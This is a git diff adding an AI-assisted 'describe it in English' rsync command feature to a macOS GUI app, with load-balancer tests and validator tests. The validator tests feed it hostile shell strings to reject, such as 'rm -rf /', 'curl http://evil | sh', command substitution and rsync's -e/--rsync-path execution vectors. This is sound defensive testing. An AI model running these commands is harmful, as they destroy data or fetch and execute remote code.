+ case "a": o.archive = true
+ case "v": o.verbose = true
+ case "z": o.compress = true
+ case "r": o.recursive = true
+ case "u": o.update = true
+ case "n": o.dryRun = true
+ case "c": o.checksum = true
+ case "H": o.hardLinks = true
+ case "A": o.preserveAcls = true
+ case "X": o.preserveXattrs = true
+ case "S": o.sparse = true
+ case "x": o.oneFileSystem = true
+ case "m": o.pruneEmptyDirs = true
+ case "L": o.copyLinks = true
+ case "P": o.partial = true; o.progress = true
+ default: break
+ }
+ }
+
+ private func applyLong(_ flag: String, to o: inout RsyncOptions) {
+ let body = String(flag.dropFirst(2))
+ let key = body.split(separator: "=", maxSplits: 1).first.map(String.init) ?? body
+ let value = body.contains("=") ? String(body[body.index(after: body.firstIndex(of: "=")!)...]) : nil
+ switch key {
+ case "archive": o.archive = true
+ case "verbose": o.verbose = true
+ case "compress": o.compress = true
+ case "delete": o.delete = true
+ case "delete-excluded": o.deleteExcluded = true
+ case "delete-before": o.deleteBefore = true
+ case "delete-during": o.deleteDuring = true
+ case "delete-after": o.deleteAfter = true
+ case "dry-run": o.dryRun = true
+ case "existing": o.existing = true
+ case "ignore-existing": o.ignoreExisting = true
+ case "checksum": o.checksum = true
+ case "size-only": o.sizeOnly = true
+ case "update": o.update = true
+ case "partial": o.partial = true
+ case "prune-empty-dirs": o.pruneEmptyDirs = true
+ case "remove-source-files": o.removeSourceFiles = true
+ case "one-file-system": o.oneFileSystem = true
+ case "exclude": if let v = value { o.exclude.append(v) }
+ case "include": if let v = value { o.include.append(v) }
+ case "filter": if let v = value { o.filterRules.append(v) }
+ case "max-size": o.maxSize = value
+ case "min-size": o.minSize = value
+ case "max-delete": if let v = value, let n = Int(v) { o.maxDelete = n }
+ case "bwlimit": if let v = value, let n = Int(v) { o.bandwidth = n }
+ default: break
+ }
+ }
+}
diff --git a/RsyncGUI/Views/JobEditorView.swift b/RsyncGUI/Views/JobEditorView.swift
index 72be677..f769d6a 100644
--- a/RsyncGUI/Views/JobEditorView.swift
+++ b/RsyncGUI/Views/JobEditorView.swift
@@ -161,6 +161,8 @@ struct JobEditorView: View {
Toggle("Enabled", isOn: $job.isEnabled)
}
+ RsyncAssistSection(job: $job)
+
FormSection(title: "Sources (\(job.sources.count))") {
ForEach(job.sources.indices, id: \.self) { index in
HStack {
diff --git a/RsyncGUI/Views/LLMAssistViews.swift b/RsyncGUI/Views/LLMAssistViews.swift
new file mode 100644
index 0000000..e4773f6
--- /dev/null
+++ b/RsyncGUI/Views/LLMAssistViews.swift
@@ -0,0 +1,248 @@
+//
+// LLMAssistViews.swift
+// RsyncGUI
+//
+// UI for the multi-model load balancer and the "Describe it in English" rsync
+// assistant. The assistant NEVER executes anything — it only surfaces a validated
+// command for review and pre-fills the builder on explicit user action.
+//
+// Author: Jordan Koch
+//
+
+import SwiftUI
+
+// MARK: - Assistant view model
+
+@MainActor
+final class RsyncAssistViewModel: ObservableObject {
+ @Published var intent: String = ""
+ @Published var isGenerating = false
+ @Published var rawResponse: String?
+ @Published var parsed: RsyncCommand?
+ @Published var errorMessage: String?
+ @Published var rejected = false // got output, but it failed validation
+
+ private let balancer = LLMLoadBalancerService.shared
+
+ /// Whether the feature is usable right now (a balancing toggle is on). This is
+ /// the graceful gate — when false the UI disables itself with a clear reason.
+ var isAvailable: Bool { balancer.isBalancingEnabled }
+
+ var unavailableReason: String {
+ "No LLM backend is enabled. Turn on Local, Frontier, or Nova Gateway in Settings → AI Assist."
+ }
+
+ /// Ask the balanced LLM for a command, then validate it. Fully guarded: a
+ /// missing backend or malformed output produces a message, never a crash.
+ func generate(sources: [String], destination: String?) async {
+ let trimmed = intent.trimmingCharacters(in: .whitespacesAndNewlines)
+ guard !trimmed.isEmpty else { return }
+ guard isAvailable else { errorMessage = unavailableReason; return }
+
+ isGenerating = true
+ rawResponse = nil
+ parsed = nil
+ errorMessage = nil
+ rejected = false
+ defer { isGenerating = false }
+
+ let system = RsyncPromptBuilder.systemPrompt()
+ let user = RsyncPromptBuilder.userPrompt(intent: trimmed, sources: sources, destination: destination)
+
+ do {
+ let response = try await balancer.generate(prompt: user, systemPrompt: system)
+ rawResponse = response
+ if let command = parseRsyncSuggestion(response) {
+ parsed = command
+ } else {
+ rejected = true
+ errorMessage = "The model's reply was not a clean rsync command and was rejected for safety."
+ }
+ } catch {
+ errorMessage = error.localizedDescription
+ }
+ }
+}
+
+// MARK: - Embeddable assistant section (used in the Job editor)
+
+struct RsyncAssistSection: View {
+ @Binding var job: SyncJob
+ @StateObject private var model = RsyncAssistViewModel()
+ @State private var applied = false
+
+ var body: some View {
+ FormSection(title: "Describe it in English (AI)") {
+ VStack(alignment: .leading, spacing: 10) {
+ Text("Describe what you want in plain English. The balanced LLM proposes an rsync command for you to review — nothing runs automatically.")
+ .font(.caption)
+ .foregroundColor(.secondary)
+
+ if !model.isAvailable {
+ Label(model.unavailableReason, systemImage: "exclamationmark.triangle")
+ .font(.caption)
+ .foregroundColor(.orange)
+ }
+
+ HStack(alignment: .top, spacing: 8) {
+ TextField("e.g. mirror Photos to the NAS, skip video files, delete extras on the destination",
+ text: $model.intent, axis: .vertical)
+ .textFieldStyle(.roundedBorder)
+ .lineLimit(1...3)
+ .disabled(!model.isAvailable || model.isGenerating)
+
+ Button {
+ Task {
+ applied = false
+ await model.generate(sources: job.sources, destination: job.destination)
+ }
+ } label: {
+ if model.isGenerating {
+ ProgressView().controlSize(.small)
+ } else {
+ Label("Suggest", systemImage: "sparkles")
+ }
+ }
+ .disabled(!model.isAvailable || model.isGenerating ||
+ model.intent.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty)
+ }
+
+ if let error = model.errorMessage {
+ Label(error, systemImage: "xmark.octagon")
+ .font(.caption)
+ .foregroundColor(.red)
+ }
+
+ if let command = model.parsed {
+ reviewCard(command)
+ }
+ }
+ }
+ }
+
+ @ViewBuilder
+ private func reviewCard(_ command: RsyncCommand) -> some View {
+ VStack(alignment: .leading, spacing: 8) {
+ Text("Suggested command (review before running):")
+ .font(.caption).bold()
+
+ Text(command.displayString)
+ .font(.system(.body, design: .monospaced))
+ .textSelection(.enabled)
+ .padding(8)
+ .frame(maxWidth: .infinity, alignment: .leading)
+ .background(Color(nsColor: .textBackgroundColor))
+ .clipShape(RoundedRectangle(cornerRadius: 6))
+ .overlay(RoundedRectangle(cornerRadius: 6).stroke(Color.secondary.opacity(0.3)))
+
+ Label("This is only a suggestion. It will not run until you start the job yourself.",
+ systemImage: "hand.raised")
+ .font(.caption2)
+ .foregroundColor(.secondary)
+
+ HStack {
+ Button {
+ job.options = command.applied(to: job.options)
+ if job.sources.first?.isEmpty ?? true, let firstSource = command.sources.first,
+ firstSource != "SRC" {
+ job.sources = [firstSource]
+ }
+ if job.destination.isEmpty, let dest = command.destination, dest != "DEST" {
+ job.destination = dest
+ }
+ applied = true
+ } label: {
+ Label("Apply flags to builder", systemImage: "arrow.down.doc")
+ }
+
+ if applied {
+ Label("Applied", systemImage: "checkmark.circle.fill")
+ .font(.caption)
+ .foregroundColor(.green)
+ }
+ }
+ }
+ .padding(.top, 4)
+ }
+}
+
+// MARK: - Load balancer settings pane
+
+struct LLMSettingsView: View {
+ @ObservedObject private var balancer = LLMLoadBalancerService.shared
+ @State private var openRouterKeyField: String = ""
+ @State private var keySaved = false
+
+ var body: some View {
+ Form {
+ Section("Multi-Model Load Balancing") {
+ Toggle("Use all local models (Ollama + MLX)", isOn: $balancer.useAllLocalModels)
+ Toggle("Enable all frontier models (OpenRouter)", isOn: $balancer.enableAllFrontierModels)
+ Toggle("Use Nova Gateway (optional)", isOn: $balancer.useNovaGateway)
+ Text("Work is spread across every enabled, healthy model using a least-busy policy. Nova is never required — local and frontier work on their own.")
+ .font(.caption)
+ .foregroundColor(.secondary)
+ }
+
+ Section("Endpoints") {
+ LabeledContent("Ollama") {
+ TextField("http://localhost:11434", text: $balancer.ollamaURL)
+ .textFieldStyle(.roundedBorder)
+ }
+ LabeledContent("Nova Gateway") {
+ TextField(ModelRegistry.novaGatewayDefaultURL, text: $balancer.novaGatewayURL)
+ .textFieldStyle(.roundedBorder)
+ }
+ }
+
+ Section("OpenRouter API Key (frontier models)") {
+ SecureField("sk-or-...", text: $openRouterKeyField)
+ .textFieldStyle(.roundedBorder)
+ HStack {
+ Button("Save Key") {
+ balancer.setOpenRouterAPIKey(openRouterKeyField)
+ openRouterKeyField = ""
+ keySaved = true
+ }
+ if balancer.hasOpenRouterKey {
+ Label("Key stored in Keychain", systemImage: "key.fill")
+ .font(.caption).foregroundColor(.green)
+ }
+ if keySaved { Text("Saved").font(.caption).foregroundColor(.secondary) }
+ Spacer()
+ Button("Clear") {
+ balancer.setOpenRouterAPIKey("")
+ keySaved = false
+ }
+ .disabled(!balancer.hasOpenRouterKey)
+ }
+ }
+
+ Section("Backend Status") {
+ ForEach(balancer.failoverChain, id: \.self) { backend in
+ let status = balancer.backendStatus[backend] ?? .disconnected
+ HStack {
+ Circle().fill(status.isConnected ? .green : .gray).frame(width: 9, height: 9)
+ Text(backend.displayName)
+ Spacer()
+ Text(status.displayText).font(.caption).foregroundColor(.secondary)
+ }
+ }
+ HStack {
+ Button {
+ Task { await balancer.refreshAllBackends() }
+ } label: {
+ if balancer.isRefreshing { ProgressView().controlSize(.small) }
+ else { Text("Refresh Status") }
+ }
+ .disabled(balancer.isRefreshing)
+ Spacer()
+ Text("\(balancer.discoveredModels.count) model(s) in pool")
+ .font(.caption).foregroundColor(.secondary)
+ }
+ }
+ }
+ .formStyle(.grouped)
+ .padding()
+ }
+}
diff --git a/RsyncGUI/Views/SettingsView.swift b/RsyncGUI/Views/SettingsView.swift
index e23c57d..44ce6a6 100644
--- a/RsyncGUI/Views/SettingsView.swift
+++ b/RsyncGUI/Views/SettingsView.swift
@@ -29,8 +29,13 @@ struct SettingsView: View {
.tabItem {
Label("Advanced", systemImage: "slider.horizontal.3")
}
+
+ LLMSettingsView()
+ .tabItem {
+ Label("AI Assist", systemImage: "sparkles")
+ }
}
- .frame(width: 600, height: 400)
+ .frame(width: 600, height: 460)
}
}
diff --git a/RsyncGUITests/LoadBalancerTests.swift b/RsyncGUITests/LoadBalancerTests.swift
new file mode 100644
index 0000000..4108597
--- /dev/null
+++ b/RsyncGUITests/LoadBalancerTests.swift
@@ -0,0 +1,217 @@
+//
+// LoadBalancerTests.swift
+// RsyncGUITests
+//
+// Deterministic (no-network) tests for model discovery parsing, pool
+// composition, and the load-balancer selection policies.
+//
+// Copyright © 2026 Jordan Koch. All rights reserved.
+//
+
+import XCTest
+@testable import RsyncGUI
+
+final class LoadBalancerTests: XCTestCase {
+
+ // MARK: - parseOllamaTags
+
+ func testParseOllamaTagsMapsModels() {
+ let json = """
+ {"models": [
+ {"name": "mistral:latest", "size": 123},
+ {"name": "llama3.2:3b"},
+ {"size": 5}
+ ]}
+ """
+ let models = ModelRegistry.parseOllamaTags(Data(json.utf8))
+ XCTAssertEqual(models.count, 2)
+ XCTAssertEqual(models.map { $0.modelName }, ["mistral:latest", "llama3.2:3b"])
+ XCTAssertTrue(models.allSatisfy { $0.backend == .ollama })
+ XCTAssertEqual(models[0].id, "ollama|mistral:latest")
+ XCTAssertEqual(models[0].endpoint, "http://localhost:11434/api/chat")
+ }
+
+ func testParseOllamaTagsEmptyAndGarbage() {
+ XCTAssertTrue(ModelRegistry.parseOllamaTags(Data("nonsense".utf8)).isEmpty)
+ XCTAssertTrue(ModelRegistry.parseOllamaTags(Data("{}".utf8)).isEmpty)
+ XCTAssertTrue(ModelRegistry.parseOllamaTags(Data(#"{"models": []}"#.utf8)).isEmpty)
+ XCTAssertTrue(ModelRegistry.parseOllamaTags(Data()).isEmpty)
+ }
+
+ // MARK: - parseMLXModels
+
+ func testParseMLXModelsFromHubDirs() {
+ let dirs = [
+ "models--mlx-community--Llama-3.2-3B-Instruct-4bit",
+ "models--meta-llama--Llama-3.1-8B", // not MLX → excluded
+ "models--mlx-community--Qwen2.5-7B-4bit",
+ "blobs", // not a model dir → excluded
+ "models--" // empty repo → excluded
+ ]
+ let models = ModelRegistry.parseMLXModels(hubDirectoryNames: dirs)
+ XCTAssertEqual(models.count, 2)
+ XCTAssertEqual(models.map { $0.modelName },
+ ["mlx-community/Llama-3.2-3B-Instruct-4bit", "mlx-community/Qwen2.5-7B-4bit"])
+ XCTAssertTrue(models.allSatisfy { $0.backend == .mlx })
+ XCTAssertEqual(models[0].displayName, "Llama-3.2-3B-Instruct-4bit")
+ }
+
+ func testParseMLXModelsEmpty() {
+ XCTAssertTrue(ModelRegistry.parseMLXModels(hubDirectoryNames: []).isEmpty)
+ XCTAssertTrue(ModelRegistry.parseMLXModels(hubDirectoryNames: ["random", "stuff"]).isEmpty)
+ }
+
+ // MARK: - frontier + nova mapping
+
+ func testFrontierModelsMapping() {
+ let frontier = ModelRegistry.frontierModels(from: ["openai/gpt-4o", "anthropic/claude-sonnet-4.5", ""])
+ XCTAssertEqual(frontier.count, 2)
+ XCTAssertTrue(frontier.allSatisfy { $0.backend == .openRouter })
+ XCTAssertEqual(frontier[0].endpoint, OpenRouterProvider.chatCompletionsURL)
+ }
+
+ func testNovaGatewayModel() {
+ let nova = ModelRegistry.novaGatewayModel()
+ XCTAssertEqual(nova.backend, .novaGateway)
+ XCTAssertEqual(nova.endpoint, "http://127.0.0.1:18792/v1/chat/completions")
+ }
+
+ // MARK: - Pool composition (toggles)
+
+ private func samplePool() -> (local: [DiscoveredModel], frontier: [DiscoveredModel], nova: DiscoveredModel) {
+ let ollama = [DiscoveredModel(modelName: "mistral:latest", backend: .ollama, endpoint: "e")]
+ let mlx = [DiscoveredModel(modelName: "mlx-community/Qwen", backend: .mlx, endpoint: "")]
+ let frontier = ModelRegistry.frontierModels(from: ["openai/gpt-4o"])
+ let nova = ModelRegistry.novaGatewayModel()
+ return (ollama + mlx, frontier, nova)
+ }
+
+ func testAssemblePoolLocalOnly() {
+ let s = samplePool()
+ let pool = ModelRegistry.assemblePool(
+ ollama: [s.local[0]], mlx: [s.local[1]], frontier: s.frontier, novaGateway: s.nova,
+ useAllLocalModels: true, enableAllFrontierModels: false, useNovaGateway: false)
+ XCTAssertEqual(pool.count, 2)
+ XCTAssertTrue(pool.allSatisfy { $0.backend == .ollama || $0.backend == .mlx })
+ }
+
+ func testAssemblePoolFrontierOnly() {
+ let s = samplePool()
+ let pool = ModelRegistry.assemblePool(
+ ollama: [s.local[0]], mlx: [s.local[1]], frontier: s.frontier, novaGateway: s.nova,
+ useAllLocalModels: false, enableAllFrontierModels: true, useNovaGateway: false)
+ XCTAssertEqual(pool.count, 1)
+ XCTAssertEqual(pool[0].backend, .openRouter)
+ }
+
+ func testAssemblePoolBothPlusNova() {
+ let s = samplePool()
+ let pool = ModelRegistry.assemblePool(
+ ollama: [s.local[0]], mlx: [s.local[1]], frontier: s.frontier, novaGateway: s.nova,
+ useAllLocalModels: true, enableAllFrontierModels: true, useNovaGateway: true)
+ XCTAssertEqual(pool.count, 4)
+ XCTAssertTrue(pool.contains { $0.backend == .novaGateway })
+ }
+
+ func testAssemblePoolNovaAbsentWhenToggleOff() {
+ let s = samplePool()
+ let pool = ModelRegistry.assemblePool(
+ ollama: [s.local[0]], mlx: [s.local[1]], frontier: s.frontier, novaGateway: s.nova,
+ useAllLocalModels: true, enableAllFrontierModels: false, useNovaGateway: false)
+ XCTAssertFalse(pool.contains { $0.backend == .novaGateway })
+ }
+
+ func testAssemblePoolAllOff() {
+ let s = samplePool()
+ let pool = ModelRegistry.assemblePool(
+ ollama: [s.local[0]], mlx: [s.local[1]], frontier: s.frontier, novaGateway: s.nova,
+ useAllLocalModels: false, enableAllFrontierModels: false, useNovaGateway: false)
+ XCTAssertTrue(pool.isEmpty)
+ }
+
+ func testAssemblePoolDeduplicates() {
+ let dup = DiscoveredModel(modelName: "mistral:latest", backend: .ollama, endpoint: "e")
+ let pool = ModelRegistry.assemblePool(
+ ollama: [dup, dup], mlx: [], frontier: [], novaGateway: nil,
+ useAllLocalModels: true, enableAllFrontierModels: false, useNovaGateway: false)
+ XCTAssertEqual(pool.count, 1)
+ }
+
+ // MARK: - Round-robin policy
+
+ func testRoundRobinCyclesAndWraps() {
+ let pool = ["a", "b", "c"].map { DiscoveredModel(modelName: $0, backend: .ollama, endpoint: "e") }
+ let health = Dictionary(uniqueKeysWithValues: pool.map { ($0.id, true) })
+ let lb = LoadBalancer()
+
+ var picks: [String] = []
+ for _ in 0..<7 {
+ picks.append(lb.next(pool: pool, health: health, policy: .roundRobin)!.modelName)
+ }
+ XCTAssertEqual(picks, ["a", "b", "c", "a", "b", "c", "a"])
+ }
+
+ // MARK: - Least-busy policy
+
+ func testLeastBusyPicksLowestInFlight() {
+ let pool = ["a", "b", "c"].map { DiscoveredModel(modelName: $0, backend: .ollama, endpoint: "e") }
+ let health = Dictionary(uniqueKeysWithValues: pool.map { ($0.id, true) })
+ let lb = LoadBalancer()
+
+ // a: 2 in-flight, b: 0, c: 1 → b is least busy.
+ lb.checkOut(pool[0].id); lb.checkOut(pool[0].id)
+ lb.checkOut(pool[2].id)
+ XCTAssertEqual(lb.next(pool: pool, health: health, policy: .leastBusy)?.modelName, "b")
+ }
+
+ func testLeastBusyTieBreaksByPoolOrder() {
+ let pool = ["a", "b", "c"].map { DiscoveredModel(modelName: $0, backend: .ollama, endpoint: "e") }
+ let health = Dictionary(uniqueKeysWithValues: pool.map { ($0.id, true) })
+ let lb = LoadBalancer()
+ // All zero in-flight → first in pool order wins, deterministically.
+ XCTAssertEqual(lb.next(pool: pool, health: health, policy: .leastBusy)?.modelName, "a")
+ }
+
+ func testCheckInNeverGoesNegative() {
+ let lb = LoadBalancer()
+ lb.checkIn("x")
+ XCTAssertEqual(lb.inFlight["x"], 0)
+ lb.checkOut("x"); lb.checkIn("x"); lb.checkIn("x")
+ XCTAssertEqual(lb.inFlight["x"], 0)
+ }
+
+ // MARK: - Health gating
+
+ func testHealthMapExcludesUnhealthy() {
+ let pool = ["a", "b", "c"].map { DiscoveredModel(modelName: $0, backend: .ollama, endpoint: "e") }
+ let lb = LoadBalancer()
+ // b marked unhealthy; a & c absent-from-map default to healthy.
+ let health = [pool[1].id: false]
+ let picked = (0..<4).map { _ in lb.next(pool: pool, health: health, policy: .roundRobin)!.modelName }
+ XCTAssertFalse(picked.contains("b"))
+ XCTAssertEqual(Set(picked), ["a", "c"])
+ }
+
+ func testAllUnhealthyReturnsNil() {
+ let pool = ["a", "b"].map { DiscoveredModel(modelName: $0, backend: .ollama, endpoint: "e") }
+ let health = Dictionary(uniqueKeysWithValues: pool.map { ($0.id, false) })
+ let lb = LoadBalancer()
+ XCTAssertNil(lb.next(pool: pool, health: health, policy: .roundRobin))
+ XCTAssertNil(lb.next(pool: pool, health: health, policy: .leastBusy))
+ }
+
+ func testEmptyPoolReturnsNil() {
+ let lb = LoadBalancer()
+ XCTAssertNil(lb.next(pool: [], health: [:], policy: .roundRobin))
+ }
+
+ // MARK: - New backend type
+
+ func testNovaGatewayBackendType() {
+ XCTAssertEqual(LLMBackendType.novaGateway.rawValue, "novagateway")
+ XCTAssertEqual(LLMBackendType.novaGateway.displayName, "Nova Gateway")
+ XCTAssertEqual(LLMBackendType.novaGateway.defaultURL, "http://127.0.0.1:18792")
+ XCTAssertFalse(LLMBackendType.novaGateway.icon.isEmpty)
+ XCTAssertEqual(LLMBackendType.allCases.count, 8)
+ }
+}
diff --git a/RsyncGUITests/RsyncSuggestionTests.swift b/RsyncGUITests/RsyncSuggestionTests.swift
new file mode 100644
index 0000000..3fc24db
--- /dev/null
+++ b/RsyncGUITests/RsyncSuggestionTests.swift
@@ -0,0 +1,224 @@
+//
+// RsyncSuggestionTests.swift
+// RsyncGUITests
+//
+// Hard tests for the natural-language → rsync feature: the pure prompt builder,
+// the strict output validator `parseRsyncSuggestion` (injection rejection + clean
+// parse), the flag→options mapping, and the graceful no-backend path.
+//
+// Author: Jordan Koch
+//
+
+import XCTest
+@testable import RsyncGUI
+
+final class RsyncSuggestionTests: XCTestCase {
+
+ // MARK: - Valid rsync is accepted and parsed
+
+ func testCleanRsyncParses() {
+ let cmd = parseRsyncSuggestion("rsync -a --delete /Users/me/Photos/ /Volumes/NAS/Photos/")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.flags, ["-a", "--delete"])
+ XCTAssertEqual(cmd?.sources, ["/Users/me/Photos/"])
+ XCTAssertEqual(cmd?.destination, "/Volumes/NAS/Photos/")
+ }
+
+ func testQuotedExcludeAndShortClusterParse() {
+ let cmd = parseRsyncSuggestion("rsync -avz --exclude='*.mp4' --exclude='*.mov' /src/ /dst/")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.flags, ["-avz", "--exclude=*.mp4", "--exclude=*.mov"])
+ XCTAssertEqual(cmd?.sources, ["/src/"])
+ XCTAssertEqual(cmd?.destination, "/dst/")
+ }
+
+ func testPathWithSpacesInSingleQuotes() {
+ let cmd = parseRsyncSuggestion("rsync -a '/Users/me/My Drive/' '/Volumes/Backup/My Drive/'")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.sources, ["/Users/me/My Drive/"])
+ XCTAssertEqual(cmd?.destination, "/Volumes/Backup/My Drive/")
+ }
+
+ func testRemoteSSHDestinationParses() {
+ let cmd = parseRsyncSuggestion("rsync -az /home/data/ backup@nas01:/mnt/pool/data/")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.destination, "backup@nas01:/mnt/pool/data/")
+ }
+
+ func testExtractsFromCodeFence() {
+ let text = "Here's a good option:\n```bash\nrsync -a --dry-run /a/ /b/\n```\nRun it to preview."
+ let cmd = parseRsyncSuggestion(text)
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.flags, ["-a", "--dry-run"])
+ }
+
+ func testExtractsFromInlineBacktickSpan() {
+ let cmd = parseRsyncSuggestion("Use `rsync -a /a/ /b/` for that.")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.flags, ["-a"])
+ }
+
+ func testAbsoluteRsyncPathAccepted() {
+ let cmd = parseRsyncSuggestion("/usr/bin/rsync -a /a/ /b/")
+ XCTAssertNotNil(cmd)
+ XCTAssertEqual(cmd?.sources, ["/a/"])
+ }
+
+ // MARK: - Injection attempts are rejected
+
+ func testRejectsSemicolonChaining() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/ /dst/; rm -rf /"))
+ }
+
+ func testRejectsAndChaining() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/ /dst/ && curl http://evil | sh"))
+ }
+
+ func testRejectsPipe() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/ /dst/ | tee /tmp/log"))
+ }
+
+ func testRejectsCommandSubstitutionDollar() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/$(whoami)/ /dst/"))
+ }
+
+ func testRejectsBacktickSubstitution() {
+ // Internal backtick is a substitution attempt — must not survive as a clean command.
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/ `whoami`/dst/"))
+ }
+
+ func testRejectsRedirection() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a /src/ /dst/ > /etc/passwd"))
+ }
+
+ func testRejectsRemoteShellFlagShort() {
+ // -e enables an arbitrary remote shell — the classic rsync RCE vector.
+ XCTAssertNil(parseRsyncSuggestion("rsync -a -e 'ssh -oProxyCommand=evil' /src/ /dst/"))
+ }
+
+ func testRejectsRsyncPathFlag() {
+ // --rsync-path can run an arbitrary program on the remote side.
+ XCTAssertNil(parseRsyncSuggestion("rsync -a --rsync-path='rm -rf /' /src/ user@h:/dst/"))
+ }
+
+ func testRejectsUnknownLongFlag() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a --totally-made-up /src/ /dst/"))
+ }
+
+ func testRejectsUnknownShortFlagLetter() {
+ // 'Q' is not in the allow-list.
+ XCTAssertNil(parseRsyncSuggestion("rsync -aQ /src/ /dst/"))
+ }
+
+ func testRejectsNonRsyncProgram() {
+ XCTAssertNil(parseRsyncSuggestion("cp -r /a /b"))
+ XCTAssertNil(parseRsyncSuggestion("sudo rsync -a /a/ /b/"))
+ XCTAssertNil(parseRsyncSuggestion("rm -rf /"))
+ }
+
+ func testRejectsUnbalancedQuotes() {
+ XCTAssertNil(parseRsyncSuggestion("rsync -a --exclude='*.mp /src/ /dst/"))
+ }
+
+ func testRejectsBareRsync() {
+ XCTAssertNil(parseRsyncSuggestion("rsync"))
+ }
+
+ func testRejectsEmptyAndGarbage() {
+ XCTAssertNil(parseRsyncSuggestion(""))
+ XCTAssertNil(parseRsyncSuggestion("I cannot help with that."))
+ XCTAssertNil(parseRsyncSuggestion("Please provide more detail about the sync."))
+ }
+
+ // MARK: - displayString round-trips safely
+
+ func testDisplayStringReQuotesSpaces() {
+ let cmd = parseRsyncSuggestion("rsync -a '/My Drive/' /dst/")
+ XCTAssertEqual(cmd?.displayString, "rsync -a '/My Drive/' /dst/")
+ }
+
+ // MARK: - Flag → options mapping
+
+ func testAppliedMapsBooleanFlags() {
+ let cmd = parseRsyncSuggestion("rsync -avz --delete --dry-run /a/ /b/")!
+ let options = cmd.applied(to: RsyncOptions())
+ XCTAssertTrue(options.archive)
+ XCTAssertTrue(options.verbose)
+ XCTAssertTrue(options.compress)
+ XCTAssertTrue(options.delete)
+ XCTAssertTrue(options.dryRun)
+ }
+
+ func testAppliedMapsExcludePatterns() {
+ let cmd = parseRsyncSuggestion("rsync -a --exclude='*.mp4' --exclude='*.tmp' /a/ /b/")!
+ let options = cmd.applied(to: RsyncOptions())
+ XCTAssertTrue(options.exclude.contains("*.mp4"))
+ XCTAssertTrue(options.exclude.contains("*.tmp"))
+ }
+
+ func testAppliedMappedFlagsSurviveArgumentSanitizer() {
+ // The mapped options must still produce valid, injection-free rsync args.
+ let cmd = parseRsyncSuggestion("rsync -a --delete --exclude='*.mov' /a/ /b/")!
+ let args = cmd.applied(to: RsyncOptions()).toArguments()
+ XCTAssertTrue(args.contains("--delete"))
+ XCTAssertTrue(args.contains("--exclude=*.mov"))
+ }
+
+ // MARK: - Pure prompt builder (network-free, deterministic)
+
+ func testPromptBuilderIsDeterministicAndPure() {
+ let a = RsyncPromptBuilder.userPrompt(intent: "mirror Photos to NAS", sources: ["/Photos"], destination: "/NAS")
+ let b = RsyncPromptBuilder.userPrompt(intent: "mirror Photos to NAS", sources: ["/Photos"], destination: "/NAS")
+ XCTAssertEqual(a, b)
+ XCTAssertTrue(a.contains("mirror Photos to NAS"))
+ XCTAssertTrue(a.contains("/Photos"))
+ XCTAssertTrue(a.contains("/NAS"))
+ }
+
+ func testSystemPromptForbidsShellOperators() {
+ let system = RsyncPromptBuilder.systemPrompt()
+ XCTAssertTrue(system.contains("rsync"))
+ XCTAssertTrue(system.lowercased().contains("never chain"))
+ XCTAssertTrue(system.contains("--rsync-path"))
+ }
+
+ func testUserPromptOmitsEmptyPaths() {
+ let prompt = RsyncPromptBuilder.userPrompt(intent: "just sync", sources: ["", " "], destination: "")
+ XCTAssertFalse(prompt.contains("Known source"))
+ XCTAssertFalse(prompt.contains("Known destination"))
+ }
+
+ // MARK: - Graceful no-backend path (never crashes)
+
+ @MainActor
+ func testGenerateThrowsWhenNoBackendEnabled() async {
+ let service = LLMLoadBalancerService()
+ service.useAllLocalModels = false
+ service.enableAllFrontierModels = false
+ service.useNovaGateway = false
+
+ XCTAssertFalse(service.isBalancingEnabled)
+ let pool = await service.discoverEnabledPool()
+ XCTAssertTrue(pool.isEmpty)
+
+ do {
+ _ = try await service.generate(prompt: "hi", systemPrompt: "sys")
+ XCTFail("Expected noBackendAvailable when nothing is enabled")
+ } catch let error as LLMError {
+ XCTAssertEqual(error.errorDescription, LLMError.noBackendAvailable.errorDescription)
+ } catch {
+ XCTFail("Expected LLMError.noBackendAvailable, got \(error)")
+ }
+ }
+
+ @MainActor
+ func testViewModelReportsUnavailableGracefully() async {
+ let vm = RsyncAssistViewModel()
+ vm.intent = "mirror everything and delete extras"
+ // With balancing globally disabled the feature disables itself with a reason.
+ if !LLMLoadBalancerService.shared.isBalancingEnabled {
+ XCTAssertFalse(vm.isAvailable)
+ XCTAssertFalse(vm.unavailableReason.isEmpty)
+ }
+ }
+}